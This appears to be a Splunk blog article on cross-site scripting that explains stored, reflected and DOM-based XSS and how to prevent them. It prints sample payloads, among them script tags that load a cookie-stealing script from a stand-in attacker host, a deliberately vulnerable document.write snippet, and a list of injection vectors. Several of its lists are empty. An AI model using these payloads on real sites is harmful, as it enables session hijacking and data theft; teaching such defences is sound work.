E-Book: Top 50 Cybersecurity Threats
Get a complete look at the top most critical security threats of the year.
Curious about how cross-site scripting (XSS) attacks threaten web security? XSS attacks are a prevalent cybersecurity threat that exploit vulnerabilities in web applications to inject malicious scripts into otherwise benign and trusted websites. This not only endangers the security of the website but also compromises the data and privacy of unsuspecting users. Well, we'll be going over:
By exploring the nature and mechanics of XSS attacks, we can better understand how to protect web applications and maintain user trust. Let's dive in.
Cross-Site Scripting (XSS) attacks exploit web application vulnerabilities to inject malicious scripts, executed in users' browsers. They can hijack user sessions, steal sensitive data, or spread malware. Prevention includes output sanitization, input validation, Content Security Policy (CSP) enforcement, setting HttpOnly flags, and utilizing Web Application Firewalls (WAFs). Understanding and mitigating XSS risks are critical for web security.
Cross-Site Scripting (XSS) attacks are bad news. And they can affect lots of people, often unknowingly. Chief among the top cybersecurity threats affecting users worldwide, any website with unsafe elements can become vulnerable to XSS attacks — making visitors to that website unwitting cyberattack victims.
To secure your website from XSS attacks, you must first know what they are. This article explains important information about XSS attacks, including how they work, their impact, types of XSS attacks, and crucially, what you can do to prevent them.
An XSS attack is a common cyberattack in which attackers use vulnerabilities in trusted websites to inject malicious code and execute that code in the browsers of users who visit the website. Though the host includes the malicious code, XSS targets the visitors to the injected website.
The malicious script is commonly a client-side JavaScript code. Let’s see what it looks like…
Imagine you’re browsing a well-established news site, like the BBC or The Wall Street Journal. Because your browser trusts the website — it’s established and has the appropriate credentials — your browser cannot verify the legitimacy of the additional script. This enables the malicious script to perform unauthorized (often unknowable) actions on the your browser, like:
In this process, the attacker bypasses the browser’s origin policy and uses malicious code to attack readers of the website.
(See how brute force compares to XSS attacks.)
XSS exploits vulnerabilities in your webpages and websites. When the same-origin policy is not properly implemented on a web page, it allows attackers to inject malicious scripts from anywhere. Following are the general steps of an XSS attack, from its craft to total compromise:
(Explore more common vulnerabilities.)
There are three types of XSS attacks: stored, reflected and DOM-based. Let’s look at each.
In a stored or persistent XSS attack, the attacker stores the malicious script permanently in the target. Examples here are websites that allow users to include content, like user review/feedback forms, message boards, forums, social networks, etc.
Suppose X is a retail website. The user feedback form has a vulnerability—and an attacker knows they can now inject a malicious script. The attacker posts the following feedback:
The product was great and worth the price <script src=”http://attacksite.com/stealUserAuth.js”> </script>
The script specified here is written to steal authentication data hosted on the attackers’ site. When any user visits this section, this script executes in the users’ browsers and steals the session cookies. The attacker can then each session cookie to access each user’s account. That means the attacker can steal sensitive user data like credit card information stored in the account.
Beware the timeline of XSS attacks. Because a user may never see the injected comment, in a flood of reviews or comments, the user is not aware of the attack for a long time.
Reflected or non-persistent attacks reflect the injected script off a web server. Search forms that have not sufficiently been sanitized are often vulnerable to such attacks. When the user enters a search query, they only see the query they entered as a result. The attacker uses this vulnerability to inject malicious scripts into the search request.
For example, the attacker first finds a website that allows the injection of malicious scripts by including the following query in their search bar:
<script type=’text/javascript’>alert(test);</script>
The page reflects the query as follows:
“<script type=’text/javascript’>alert(test);</script > not found.”
The search request for this sets to:
http://website.com?q=<script type=”text/javascript”>alert(test); </script>.
This confirms that the attacker of this page is vulnerable. Then the attackers craft links that embed the malicious script as follows and deliver it to their targets via email or this-party social media :
http://website.com?q=<\script%20src=”http://attacksite.com/stealUserAuth.js”>..
An unsuspecting user clicking it initiates a request to the exploited website to execute the malicious script in the victim’s browser.
DOM-based XSS exploits client-side JavaScript vulnerabilities that process and dynamically write unstructured data back to the Document Object Model (DOM) to inject malicious scripts.
For example, suppose a website displays the user's name, taken from the document URL.
http://website.com/index.html?name=Mary
The browser contains the following code that writes the name back to it:
<HTML>
<TITLE>Our Website</TITLE>
<SCRIPT>
var position =document.URL.indexOf("name=")+6;
document.write(document.URL.substring(position ,document.URL.length));
</SCRIPT>
<BR>
Welcome!
</HTML>
The attacker exploits this vulnerability, crafts a link that includes the malicious script in the name query parameter and distributes the link via email or social media.
http://website.com/index.html?name=<script>alert(document.cookie)</script>
When an unsuspecting victim clicks on this link, the browser loads the website and executes the malicious script.
alert(document.cookie)
OK. Now that we now how they work, we can start to see the consequences of XSS attacks.
Based on the attack type, the users and the types of data targeted by attackers, XSS attacks can have several different consequences. Here are some possible damages of XSS attacks on your organization:
XSS attacks allow attackers to extract session cookies from the users of injected websites and use them to hijack user accounts. The attacker then can mimic a legitimate user and perform any user action they are allowed to perform on that website.
Suppose an attacker takes control over an administrator account. Now the attacker can perform administrative actions like viewing other user details, accessing databases, modifying code, etc.
Once the attacker gains access to the account, sensitive information stored in the account can be leaked, including:
Malicious links crafted from exploited websites can redirect users to download malware. Additionally, once the attackers have compromised the victims’ accounts, they can create and spread botnets.
(Get the latest malware news from CISA, including Trickbot, Qakbot and more.)
Attackers can create clones of a website login page and XSS vulnerabilities to deliver it to their targets. Victims then enter that page, enter credentials, and the website forwards them to a server in their control, stealing the credentials.
You can check that your website has weak points that expose you to XSS attacks in two ways — manually checking via payloads or using an automated approach.
(Stay relevant on threat actors with security events to attend and security articles to read.)
Following are the common HTML tags and their attributes used to insert malicious code and carry out cross-site scripting attacks:
<script src=http://website.com/stealUserAuth.js></script>
<script> alert("XSS");</script>
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<img src=”test” onerror=alert("XSS")>
<input type="image" src="javascript:alert('XSS');">
<body background="javascript:alert("XSS")">
<object type="text/x-scriptlet" data="http://website.com/test.html">
<iframe src="http://website.com/test.htm">
<div style="background-image: url(javascript:alert('XSS'))">
<link rel="stylesheet" href="javascript:alert('XSS');">
XSS attacks are bad news. Preparing for them is possible, particularly by minimizing vulnerabilities. Here are the proper security techniques to use to prevent XSS attacks:
XSS attacks are injection-type attacks where attackers inject malicious scripts into web browsers and compromise legitimate user accounts to perform various malicious activities. Three XSS attacks differ in how the malicious script is stored, delivered, and executed. XSS attacks can have severe consequences for both the users and the website, including:
Cybersecurity protocols and ongoing cyber hygiene support the necessary security measurements discussed in this article to prevent and reduce the risks of XSS attacks — and helping business to stay resilient.
This posting does not necessarily represent Splunk's position, strategies or opinion.
The Splunk platform removes the barriers between data and action, empowering observability, IT and security teams to ensure their organizations are secure, resilient and innovative.
Founded in 2003, Splunk is a global company — with over 7,500 employees, Splunkers have received over 1,020 patents to date and availability in 21 regions around the world — and offers an open, extensible data platform that supports shared data across any environment so that all teams in an organization can get end-to-end visibility, with context, for every interaction and business process. Build a strong data foundation with Splunk.